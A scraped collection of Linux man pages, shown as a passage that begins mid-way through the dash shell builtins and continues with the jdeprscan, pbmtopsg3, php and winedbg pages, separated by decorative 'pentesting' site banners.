option is specified and the standard input is a terminal. Then a line is read from the standard input. The trailing newline is deleted from the line and the line is split as described in the section on word splitting above, and the pieces are assigned to the variables in order. At least one variable must be specified. If there are more pieces than variables, the remaining pieces (along with the characters in

that separated them) are assigned to the last variable. If there are more variables than pieces, the remaining variables are assigned the null string. The

builtin will indicate success unless EOF is encountered on input, in which case failure is returned.

By default, unless the

option is specified, the backslash

acts as an escape character, causing the following character to be treated literally. If a backslash is followed by a newline, the backslash and the newline will be deleted.

The specified names are marked as read only, so that they cannot be subsequently modified or unset. The shell allows the value of a variable to be set at the same time it is marked read only by writing

With no arguments the readonly command lists the names of all read only variables. With the

option specified the output will be formatted suitably for non-interactive use.

formats and prints its arguments according to

a character string which contains three types of objects: plain characters, which are simply copied to standard output, character escape sequences which are converted and copied to the standard output, and format specifications, each of which causes printing of the next successive

Each

is treated as a string if the corresponding format specification is either

or

otherwise it is evaluated as a C constant, with the following additions:

A leading plus or minus sign is allowed.

If the leading character is a single or double quote, the value of the next byte.

The format string is reused as often as necessary until all

are consumed. Any extra format specifications are evaluated with zero or the null string.

Character escape sequences are in backslash notation as defined in

The characters and their meanings are as follows:

Write a bell character.

Write a backspace character.

Write an escape (ESC) character.

Write a form-feed character.

Write a new-line character.

Write a carriage return character.

Write a tab character.

Write a vertical tab character.

Write a backslash character.

Write an 8-bit character whose

value is the 1-, 2-, or 3-digit octal number

Each format specification is introduced by the percent character (``%’’). The remainder of the format specification includes, in the following order:

A `#’ character specifying that the value should be printed in an ``alternative form’’. For

and

formats, this option has no effect. For the

format the precision of the number is increased to force the first character of the output string to a zero. For the

format, a non-zero result has the string

prepended to it. For

and

formats, the result will always contain a decimal point, even if no digits follow the point (normally, a decimal point only appears in the results of those formats if a digit follows the decimal point). For

and

formats, trailing zeros are not removed from the result as they would otherwise be.

A minus sign `-’ which specifies

of the output in the indicated field;

A `+’ character specifying that there should always be a sign placed before the number when using signed formats.

A space specifying that a blank should be left before a positive number for a signed format. A `+’ overrides a space if both are used;

A zero `0’ character indicating that zero-padding should be used rather than blank-padding. A `-’ overrides a `0’ if both are used;

An optional digit string specifying a

if the output string has fewer characters than the field width it will be blank-padded on the left (or right, if the left-adjustment indicator has been given) to make up the field width (note that a leading zero is a flag, but an embedded zero is part of a field width);

An optional period,

followed by an optional digit string giving a

which specifies the number of digits to appear after the decimal point, for

and

formats, or the maximum number of bytes to be printed from a string

and

formats); if the digit string is missing, the precision is treated as zero;

A character which indicates the type of format to use (one of

A field width or precision may be

instead of a digit string. In this case an

supplies the field width or precision.

The format characters and their meanings are:

The

is printed as a signed decimal (d or i), unsigned octal, unsigned decimal, or unsigned hexadecimal (X or x), respectively.

The

is printed in the style

where the number of d’s after the decimal point is equal to the precision specification for the argument. If the precision is missing, 6 digits are given; if the precision is explicitly 0, no digits and no decimal point are printed.

The

is printed in the style

where there is one digit before the decimal point and the number after is equal to the precision specification for the argument; when the precision is missing, 6 digits are produced. An upper-case E is used for an `E’ format.

The

is printed in style

or in style

whichever gives full precision in minimum space.

Characters from the string

are printed with backslash-escape sequences expanded.
The following additional backslash-escape sequences are supported:

Causes

to ignore any remaining characters in the string operand containing it, any remaining string operands, and any additional characters in the format operand.

Write an 8-bit character whose

value is the 1-, 2-, or 3-digit octal number

The first character of

is printed.

Characters from the string

are printed until the end is reached or until the number of bytes indicated by the precision specification is reached; if the precision is omitted, all characters in the string are printed.

Print a `%’; no argument is used.

In no case does a non-existent or small field width cause truncation of a field; padding takes place only if the specified field width exceeds the actual width.

The

command performs three different functions.

With no arguments, it lists the values of all shell variables.

If options are given, it sets the specified option flags, or clears them as described in the section called

As a special case, if the option is -o or +o and no argument is supplied, the shell prints the settings of all its options. If the option is -o, the settings are printed in a human-readable format; if the option is +o, the settings are printed in a format suitable for reinput to the shell to affect the same option settings.

In addition to the option names listed in the

section, the following options may be specified as arguments to -o or +o:

Derive the exit status of a pipeline from the exit statuses of all of the commands in the pipeline, not just the last command, as described in the

section.

The third use of the set command is to set the values of the shell’s positional parameters to the specified args. To change the positional parameters without changing any options, use

as the first argument to set. If no args are present, the set command will clear all the positional parameters (equivalent to executing

Shift the positional parameters n times. A

sets the value of

to the value of

the value of

to the value of

and so on, decreasing the value of

by one. If n is greater than the number of positional parameters,

will issue an error message, and exit with return status 2.

The

utility evaluates the expression and, if it evaluates to true, returns a zero (true) exit status; otherwise it returns 1 (false). If there is no expression, test also returns 1 (false).

All operators and flags are separate arguments to the

utility.

The following primaries are used to construct expression:

True if

exists and is a block special file.

True if

exists and is a character special file.

True if

exists and is a directory.

True if

exists (regardless of type).

True if

exists and is a regular file.

True if

exists and its set group ID flag is set.

True if

exists and is a symbolic link.

True if

exists and its sticky bit is set.

True if the length of

is nonzero.

True if

is a named pipe

True if

exists and is readable.

True if

exists and has a size greater than zero.

True if the file whose file descriptor number is

is open and is associated with a terminal.

True if

exists and its set user ID flag is set.

True if

exists and is writable. True indicates only that the write flag is on. The file is not writable on a read-only file system even if this test indicates true.

True if

exists and is executable. True indicates only that the execute flag is on. If

is a directory, true indicates that

can be searched.

True if the length of

is zero.

True if

exists and is a symbolic link. This operator is retained for compatibility with previous versions of this program. Do not rely on its existence; use

instead.

True if

exists and its owner matches the effective user id of this process.

True if

exists and its group matches the effective group id of this process.

True if

exists and is a socket.

True if

and

exist and

is newer than

True if

and

exist and

is older than

True if

and

exist and refer to the same file.

True if

is not the null string.

True if the strings

and

are identical.

True if the strings

and

are not identical.

True if string

comes before

based on the ASCII value of their characters.

True if string

comes after

based on the ASCII value of their characters.

True if the integers

and

are algebraically equal.

True if the integers

and

are not algebraically equal.

True if the integer

is algebraically greater than the integer

True if the integer

is algebraically greater than or equal to the integer

True if the integer

is algebraically less than the integer

True if the integer

is algebraically less than or equal to the integer

These primaries can be combined with the following operators:

True if

is false.

True if both

and

are true.

True if either

or

are true.

True if expression is true.

The

operator has higher precedence than the

operator.

Print the accumulated user and system times for the shell and for processes run from the shell. The return status is 0.

Cause the shell to parse and execute action when any of the specified signals are received. The signals are specified by signal number or as the name of the signal. If

is

or

the action is executed when the shell exits.

may be empty

which causes the specified signals to be ignored. With

omitted or set to `-’ the specified signals are set to their default action. When the shell forks off a subshell, it resets trapped (but not ignored) signals to the default action. The

command has no effect on signals that were ignored on entry to the shell.

without any arguments cause it to write a list of signals and their associated action to the standard output in a format that is suitable as an input to the shell that achieves the same trapping results.

Examples:

List trapped signals and their corresponding action

Ignore signals INT QUIT TSTP USR1

Print date upon receiving signal INT

Interpret each name as a command and print the resolution of the command search. Possible resolutions are: shell keyword, alias, shell builtin, command, tracked alias and not found. For aliases the alias expansion is printed; for commands and tracked aliases the complete pathname of the command is printed.

Inquire about or set the hard or soft limits on processes or set new limits. The choice between hard limit (which no process is allowed to violate, and which may not be raised once it has been lowered) and soft limit (which causes processes to be signaled but not necessarily killed, and which may be raised) is made with these flags:

set or inquire about hard limits

set or inquire about soft limits. If neither

nor

is specified, the soft limit is displayed or both limits are set. If both are specified, the last one wins.

The limit to be interrogated or set, then, is chosen by specifying any one of these flags:

show all the current limits

show or set the limit on CPU time (in seconds)

show or set the limit on the largest file that can be created (in 512-byte blocks)

show or set the limit on the data segment size of a process (in kilobytes)

show or set the limit on the stack size of a process (in kilobytes)

show or set the limit on the largest core dump size that can be produced (in 512-byte blocks)

show or set the limit on the total physical memory that can be in use by a process (in kilobytes)

show or set the limit on how much memory a process can lock with

(in kilobytes)

show or set the limit on the number of processes this user can have at one time

show or set the limit on the number files a process can have open at once

show or set the limit on the total virtual memory that can be in use by a process (in kilobytes)

show or set the limit on the total number of locks held by a process

show or set the limit on the real-time scheduling priority of a process

If none of these is specified, it is the limit on file size that is shown or set. If value is specified, the limit is set to that number; otherwise the current limit is displayed.

Limits of an arbitrary process can be displayed or set using the

utility.

Set the value of umask (see

to the specified octal value. If the argument is omitted, the umask value is printed.

If

is specified, the shell removes that alias. If

is specified, all aliases are removed.

The specified variables and functions are unset and unexported. If

or

is specified, the corresponding function or variable is unset, respectively. If a given name corresponds to both a variable and a function, and no options are given, only the variable is unset.

Wait for the specified job to complete and return the exit status of the last process in the job. If the argument is omitted, wait for all jobs to complete and return an exit status of zero.

When

is being used interactively from a terminal, the current command and the command history (see

in

can be edited using vi-mode command-line editing. This mode uses commands, described below, similar to a subset of those described in the vi man page. The command

enables vi-mode editing and places sh into vi insert mode. With vi-mode enabled, sh can be switched between insert mode and command mode. It is similar to vi: typing

enters vi command mode. Hitting

while in command mode will pass the line to the shell.

Errors that are detected by the shell, such as a syntax error, will cause the shell to exit with a non-zero exit status. If the shell is not an interactive shell, the execution of the shell file will be aborted. Otherwise the shell will return the exit status of the last command executed, or if the exit builtin is used with a numeric argument, it will return the argument.

Set automatically by

from the user’s login directory in the password file

This environment variable also functions as the default argument for the cd builtin.

The default search path for executables. See the above section

The search path used with the cd builtin.

The name of a mail file, that will be checked for the arrival of new mail. Overridden by

The frequency in seconds that the shell checks for the arrival of mail in the files specified by the

or the

file. If set to 0, the check will occur at each prompt.

A colon

separated list of file names, for the shell to check for incoming mail. This environment setting overrides the

setting. There is a maximum of 10 mailboxes that can be monitored at once.

The primary prompt string, which defaults to

unless you are the superuser, in which case it defaults to

The secondary prompt string, which defaults to

Output before each line when execution trace (set -x) is enabled, defaults to

Input Field Separators. This is normally set to

and

See the

section for more details.

The default terminal setting for the shell. This is inherited by children of the shell, and is used in the history editing modes.

The number of lines in the history buffer for the shell.

The logical value of the current working directory. This is set by the

command.

The previous logical value of the current working directory. This is set by the

command.

The process ID of the parent process of the shell.

is a POSIX-compliant implementation of /bin/sh that aims to be as small as possible.

is a direct descendant of the NetBSD version of ash (the Almquist SHell), ported to Linux in early 1997. It was renamed to

in 2002.

Setuid shell scripts should be avoided at all costs, as they are a significant security risk.

PS1, PS2, and PS4 should be subject to parameter expansion before being displayed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1714 - Linux cli command jdeprscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jdeprscan and provides detailed information about the command jdeprscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jdeprscan.

NAME 🖥️ jdeprscan 🖥️

static analysis tool that scans a jar file (or some other aggregation of class files) for uses of deprecated API elements

SYNOPSIS

jdeprscan [options] {dir|jar|class}

options
See Options for the jdeprscan Command

dir|jar|class
jdeprscan command scans each argument for usages of deprecated APIs. The arguments can be a:

  • dir: Directory

  • jar: JAR file

  • class: Class name or class file

The class name should use a dot (.) as a separator. For example:

java.lang.Thread

For nested classes, the dollar sign $ separator character should be used. For example:

java.lang.Thread$State

A class file can also be named. For example:

build/classes/java/lang/Thread$State.class

DESCRIPTION

The jdeprscan tool is a static analysis tool provided by the JDK that scans a JAR file or some other aggregation of class files for uses of deprecated API elements. The deprecated APIs identified by the jdeprscan tool are only those that are defined by Java SE. Deprecated APIs defined by third-party libraries aren’t reported.

To scan a JAR file or a set of class files, you must first ensure that all of the classes that the scanned classes depend upon are present in the class path. Set the class path using the --class-path option described in Options for the jdeprscan Command. Typically, you would use the same class path as the one that you use when invoking your application.

If the jdeprscan can’t find all the dependent classes, it will generate an error message for each class that’s missing. These error messages are typically of the form:

error: cannot find class ...

If these errors occur, then you must adjust the class path so that it includes all dependent classes.

OPTIONS FOR THE JDEPRSCAN COMMAND

The following options are available:

--class-path path
Provides a search path for resolution of dependent classes.

path can be a search path that consists of one or more directories separated by the system-specific path separator. For example:

  • Linux and OS X:

    --class-path /some/directory:/another/different/dir

Note:

On Windows, use a semicolon (;) as the separator instead of a colon (:).

  • Windows:

    --class-path \some\directory;nother\different\dir

--for-removal
Limits scanning or listing to APIs that are deprecated for removal. Can’t be used with a release value of 6, 7, or 8.

--full-version
Prints out the full version string of the tool.

--help or -h
Prints out a full help message.

--list or -l
Prints the set of deprecated APIs. No scanning is done, so no directory, jar, or class arguments should be provided.

--release 6|7|8|**9**
Specifies the Java SE release that provides the set of deprecated APIs for scanning.

--verbose or -v
Enables additional message output during processing.

--version
Prints out the abbreviated version string of the tool.

EXAMPLE OF JDEPRSCAN OUTPUT

The JAR file for this library will be named something similar to commons-math3-3.6.1.jar. To scan this JAR file for the use of deprecated APIs, run the following command:

jdeprscan commons-math3-3.6.1.jar

This command produces several lines of output. For example, one line of output might be:

class org/apache/commons/math3/util/MathUtils uses deprecated method java/lang/Double::<init>(D)V

Note:

The class name is specified using the slash-separated binary name as described in JVMS 4.2.1. This is the form used internally in class files.

The deprecated API it uses is a method on the java.lang.Double class.

The name of the deprecated method is <init>, which is a special name that means that the method is actually a constructor. Another special name is <clinit>, which indicates a class static initializer.

Other methods are listed just by their method name. Following the method name is the argument list and return type:

(D)V

This indicates that it takes just one double value (a primitive) and returns void. The argument and return types can become cryptic. For example, another line of output might be:

class org/apache/commons/math3/util/Precision uses deprecated method java/math/BigDecimal::setScale(II)Ljava/math/BigDecimal;

In this line of output, the deprecated method is on class java.math.BigDecimal, and the method is setScale(). In this case, the (II) means that it takes two int arguments. The Ljava/math/BigDecimal; after the parentheses means that it returns a reference to java.math.BigDecimal.

JDEPRSCAN ANALYSIS CAN BE VERSION-SPECIFIC

You can use jdeprscan relative to the previous three JDK releases. For example, if you are running JDK 9, then you can check against JDK 8, 7, and 6.

As an example, look at this code snippet:

public class Deprecations {
   SecurityManager sm = new RMISecurityManager();    // deprecated in 8
   Boolean b2 = new Boolean(true);          // deprecated in 9
}

The complete class compiles without warnings in JDK 7.

If you run jdeprscan on a system with JDK 9, then you see:

$ jdeprscan --class-path classes --release 7 example.Deprecations
(no output)

Run jdeprscan with a release value of 8:

$ jdeprscan --class-path classes --release 8 example.Deprecations
class example/Deprecations uses type java/rmi/RMISecurityManager deprecated
class example/Deprecations uses method in type java/rmi/RMISecurityManager deprecated

Run jdeprscan on JDK 9:

$ jdeprscan --class-path classes example.Deprecations
class example/Deprecations uses type java/rmi/RMISecurityManager deprecated
class example/Deprecations uses method in type java/rmi/RMISecurityManager deprecated
class example/Deprecations uses method java/lang/Boolean <init> (Z)V deprecated
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1715 - Linux cli command pbmtopsg3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtopsg3 and provides detailed information about the command pbmtopsg3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtopsg3.

.

NAME 🖥️ pbmtopsg3 🖥️

convert PBM images to Postscript with G3 fax compression

SYNOPSIS

pbmtopsg3 [**–title=title] [–dpi=**dpi] [filespec]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtopsg3 converts the PBM images in the input PBM file to pages in a Postscript file encoded with G3 fax compression.

pnmtops is a more general program for converting from the Netpbm formats to Postscript, though it cannot produce the particular subformat that pbmtopsg3 does.

If you don’t specify filespec, the input is from Standard Input.

Remember that you can create a multi-image PBM file simply by concatenating single-image PBM files, so if each page is in a different file, you might do:

cat faxpage* | pbmtopsg3 >fax.ps

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtopsg3 recognizes the following command line options:

-title
The Postscript title value. Default is no title.

-dpi
The resolution of the Postscript output. Default is 72 dpi.

SEE ALSO

pnmtops(1) , pstopnm(1) , gs, pstopnm(1) , pbmtolps(1) , pbmtoepsi(1) , pbmtog3(1) , g3topbm(1) , pbm(1) , fax formats(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtopsg3.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1716 - Linux cli command php

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command php and provides detailed information about the command php, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the php.

NAME 🖥️ php 🖥️

PHP Command Line Interface ‘CLI’

php-cgi - PHP Common Gateway Interface ‘CGI’ command

SYNOPSIS

php [options] [ -f ] file [[–] args. . .]

php [options] -r code [[–] args. . .]

php [options] [-B begin_code] -R code [-E end_code] [[–] args. . .]

php [options] [-B begin_code] -F file [-E end_code] [[–] args. . .]

php [options] – [ args. . .]

php [options] -a

php [options] -S addr:port [-t docroot]

DESCRIPTION

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. This is the command line interface that enables you to do the following:

You can parse and execute files by using parameter -f followed by the name of the file to be executed.

Using parameter -r you can directly execute PHP code simply as you would do inside a .php file when using the eval() function.

It is also possible to process the standard input line by line using either the parameter -R or -F. In this mode each separate input line causes the code specified by -R or the file specified by -F to be executed. You can access the input line by $argn. While processing the input lines $argi contains the number of the actual line being processed. Further more the parameters -B and -E can be used to execute code (see -r) before and after all input lines have been processed respectively. Notice that the input is read from STDIN and therefore reading from STDIN explicitly changes the next input line or skips input lines.

PHP also contains an built-in web server for application development purpose. By using the -S option where addr:port point to a local address and port PHP will listen to HTTP requests on that address and port and serve files from the current working directory or the docroot passed by the -t option.

If a PHP file is provided to the command line when the built-in web server is used, it will be used as the router script. This script will be started at each HTTP request. The script output is returned to the browser, unless the router script returns the false value. If so, the built-in server falls back to the default behaviour, returning the requested resource as-is by looking up the files relative to the document root specified by the -t option, if provided.

If none of -r -f -B -R -F -E or -S is present but a single parameter is given then this parameter is taken as the filename to parse and execute (same as with -f). If no parameter is present then the standard input is read and executed.

OPTIONS

–interactive

-a Run PHP interactively. This lets you enter snippets of PHP code that directly get executed. When readline support is enabled you can edit the lines and also have history support.

–bindpath address:port|port

-b address:port|port Bind Path for external FASTCGI Server mode (CGI only).

–no-chdir

-C Do not chdir to the script’s directory (CGI only).

–no-header

-q Quiet-mode. Suppress HTTP header output (CGI only).

–timing count

-T count Measure execution time of script repeated count times (CGI only).

–php-ini path|file

-c path|file Look for php.ini file in the directory path or use the specified file

–no-php-ini

-n No php.ini file will be used

–define foo[=bar]

-d foo[=bar] Define INI entry foo with value bar

-e
Generate extended information for debugger/profiler

–file file

-f file Parse and execute file

–help

-h This help

–hide-args

-H Hide script name (file) and parameters (args…) from external tools. For example you may want to use this when a php script is started as a daemon and the command line contains sensitive data such as passwords.

–info

-i PHP information and configuration

–syntax-check

-l Syntax check only (lint)

–modules

-m Show compiled in modules

–run code

-r code Run PHP code without using script tags ’<?..?>’

–process-begin code

-B begin_code Run PHP begin_code before processing input lines

–process-code code

-R code Run PHP code for every input line

–process-file file

-F file Parse and execute file for every input line

–process-end code

-E end_code Run PHP end_code after processing all input lines

–syntax-highlight

-s Output HTML syntax highlighted source

–server addr:port

-S addr:port Start built-in web server on the given local address and port

–docroot docroot

-t docroot Specify the document root to be used by the built-in web server

–version

-v Version number

–strip

-w Output source with stripped comments and whitespace

–zend-extension file

-z file Load Zend extension file

args. . .
Arguments passed to script. Use ’–’ args when first argument starts with ’-’ or script is read from stdin

–rfunction name

–rf name Shows information about function name

–rclass name

–rc name Shows information about class name

–rextension name

–re name Shows information about extension name

–rzendextension name

–rz name Shows information about Zend extension name

–rextinfo name

–ri name Shows configuration for extension name

–ini
Show configuration file names

FILES

/etc/php/@PHP_MAJOR_VERSION@.@PHP_MINOR_VERSION@/cli/php.ini
The configuration file for the CLI version of PHP.

+.B /etc/php/@PHP_MAJOR_VERSION@.@PHP_MINOR_VERSION@/cgi/php.ini
+The configuration file for the CGI version of PHP. +.TP +.B /etc/php/@PHP_MAJOR_VERSION@.@PHP_MINOR_VERSION@/apache2/php.ini +The configuration file for the version of PHP that apache2 uses.

EXAMPLES

php -r ’echo “Hello World “;’
This command simply writes the text “Hello World” to standard out.

php -r ‘print_r(gd_info());’
This shows the configuration of your gd extension. You can use this to easily check which image formats you can use. If you have any dynamic modules you may want to use the same ini file that php uses when executed from your webserver. There are more extensions which have such a function. For dba use:

php -r ‘print_r(dba_handlers(1));’

php -R ’echo strip_tags($argn).” “;’
This PHP command strips off the HTML tags line by line and outputs the result. To see how it works you can first look at the following PHP command ‘php -d html_errors=1 -i’ which uses PHP to output HTML formatted configuration information. If you then combine those two ‘php …|php …’ you’ll see what happens.

php -E ’echo “Lines: $argi “;’
Using this PHP command you can count the lines being input.

php -R ‘@$l+=count(file($argn));’ -E ’echo “Lines:$l “;’
In this example PHP expects each input line being a file. It counts all lines of the files specified by each input line and shows the summarized result. You may combine this with tools like find and change the php scriptlet.

php -R ’echo “$argn “; fgets(STDIN);’
Since you have access to STDIN from within -B -R -F and -E you can skip certain input lines with your code. But note that in such cases $argi only counts the lines being processed by php itself. Having read this you will guess what the above program does: skipping every second input line.

TIPS

You can use a shebang line to automatically invoke php from scripts. Only the CLI version of PHP will ignore such a first line as shown below:

#!/bin/php

<?php

// your script

?>

SEE ALSO

For a more or less complete description of PHP look here:

http://www.php.net/manual/

BUGS

You can view the list of known bugs or report any new bug you found at:

https://github.com/php/php-src/issues

AUTHORS

The PHP Group: Thies C. Arntzen, Stig Bakken, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski.

Additional work for the CLI sapi was done by Edin Kadribasic, Marcus Boerger and Johannes Schlueter.

A List of active developers can be found here:

http://www.php.net/credits.php

And last but not least PHP was developed with the help of a huge amount of contributors all around the world.

VERSION INFORMATION

This manpage describes php, version 8.2.21.

COPYRIGHT

Copyright © The PHP Group

This source file is subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available through the world-wide-web at the following url:

https://www.php.net/license/3_01.txt

If you did not receive a copy of the PHP license and are unable to obtain it through the world-wide-web, please send a note to [email protected] so we can mail you a copy immediately.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1717 - Linux cli command winedbg-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winedbg-stable and provides detailed information about the command winedbg-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winedbg-stable.

NAME 🖥️ winedbg-stable 🖥️

Wine debugger

SYNOPSIS

winedbg [ options ] [ program_name [ program_arguments ] | wpid ]

winedbg –gdb [ options ] [ program_name [ program_arguments ] | wpid ]

**winedbg –auto **wpid

winedbg –minidump [ file.mdmp ] wpid

**winedbg **file.mdmp

DESCRIPTION

winedbg is a debugger for Wine. It allows:

  • debugging native Win32 applications
    • debugging Winelib applications
    • being a drop-in replacement for Dr Watson

MODES

winedbg can be used in five modes. The first argument to the program determines the mode winedbg will run in.

default
Without any explicit mode, this is standard winedbg operating mode. winedbg will act as the front end for the user.

–gdb
winedbg will be used as a proxy for gdb. gdb will be the front end for command handling, and winedbg will proxy all debugging requests from gdb to the Win32 APIs.

–auto
This mode is used when winedbg is set up in AeDebug registry entry as the default debugger. winedbg will then display basic information about a crash. This is useful for users who don’t want to debug a crash, but rather gather relevant information about the crash to be sent to developers.

–minidump
This mode is similar to the –auto one, except that instead of printing the information on the screen (as –auto does), it’s saved into a minidump file. The name of the file is either passed on the command line, or generated by WineDbg when none is given. This file could later on be reloaded into winedbg for further examination.

file.mdmp
In this mode winedbg reloads the state of a debuggee which has been saved into a minidump file. See either the minidump command below, or the –minidump mode.

OPTIONS

When in default mode, the following options are available:

–command string
winedbg will execute the command string as if it was keyed on winedbg command line, and then will exit. This can be handy for getting the pid of running processes (winedbg –command “info proc”).

–file filename
winedbg will execute the list of commands contained in file filename as if they were keyed on winedbg command line, and then will exit.

When in gdb proxy mode, the following options are available:

–no-start
Don’t launch gdb directly; instead, print the target remote GDB command to execute and listen for connection from any GDB-compatible debugger. Normally, –gdb will start both the proxy debugging server and an instance of gdb for the front end. This option instructs winedbg to skip launching of gdb, and instead prints the GDB command that can be used to manually connect to the server. This command is in the form

target remote localhost:<port>

where <port> is the TCP port winedbg’s proxy debugging server is bound to.

This option allows the user to replace gdb with some other debugger front end, such as ddd, kgdb, gdbgui, or Qt Creator. Regardless of whether –no-start is specified, winedbg will quit after the first connection is hung up (e.g. gdb detaches from the debuggee).

–port port
Start the GDB proxy debugging server on the given port. If this option is not specified, winedbg will let the operating system choose any available port. This option can be used in conjunction with –no-start to specify the port the server shall be bound to.

–with-xterm
This will run the gdb front end in a new xterm(1) window instead of using the current Unix terminal for its interface. This option is ignored if –no-start is specified.

In all modes, the rest of the command line, when passed, is used to identify which program, if any, is to be debugged:

program_name
This is the name of an executable to start for a debugging session. winedbg will actually create a process with this executable. If program_arguments are also given, they will be used as arguments for creating the process to be debugged.

wpid
winedbg will attach to the process whose Windows pid is wpid. Use the info proc command within winedbg to list running processes and their Windows pids.

default
If nothing is specified, you will enter the debugger without any run nor attached process. You’ll have to do the job yourself.

COMMANDS

Default mode, and while reloading a minidump file:

Most of commands used in winedbg are similar to the ones from gdb. Please refer to the gdb documentations for some more details. See the gdb differences section later on to get a list of variations from gdb commands.

Misc. commands

abort
Aborts the debugger.

quit
Exits the debugger.

Process handling

attach N
Attach to a Wine process (N is its Windows ID, numeric or hexadecimal). IDs can be obtained using the info process command. Note the info process command returns hexadecimal values

detach
Detach from a Wine-process.

thread N
Change the current thread to N (its Windows TID, numeric or hexadecimal).

run
Re-run the same process with the same arguments. Note: all breakpoints of precedent process are no longer available.

run arg1 arg2…
Re-run the same process with arguments arg1 arg2…. Note: all breakpoints of precedent process are no longer available.

Help commands

help
Prints some help on the commands.

help info
Prints some help on info commands

Flow control commands

cont
Continue execution until next breakpoint or exception.

pass
Pass the exception event up to the filter chain.

step
Continue execution until next C line of code (enters function call)

next
Continue execution until next C line of code (doesn’t enter function call)

stepi
Execute next assembly instruction (enters function call)

nexti
Execute next assembly instruction (doesn’t enter function call)

finish
Execute until return of current function is reached.

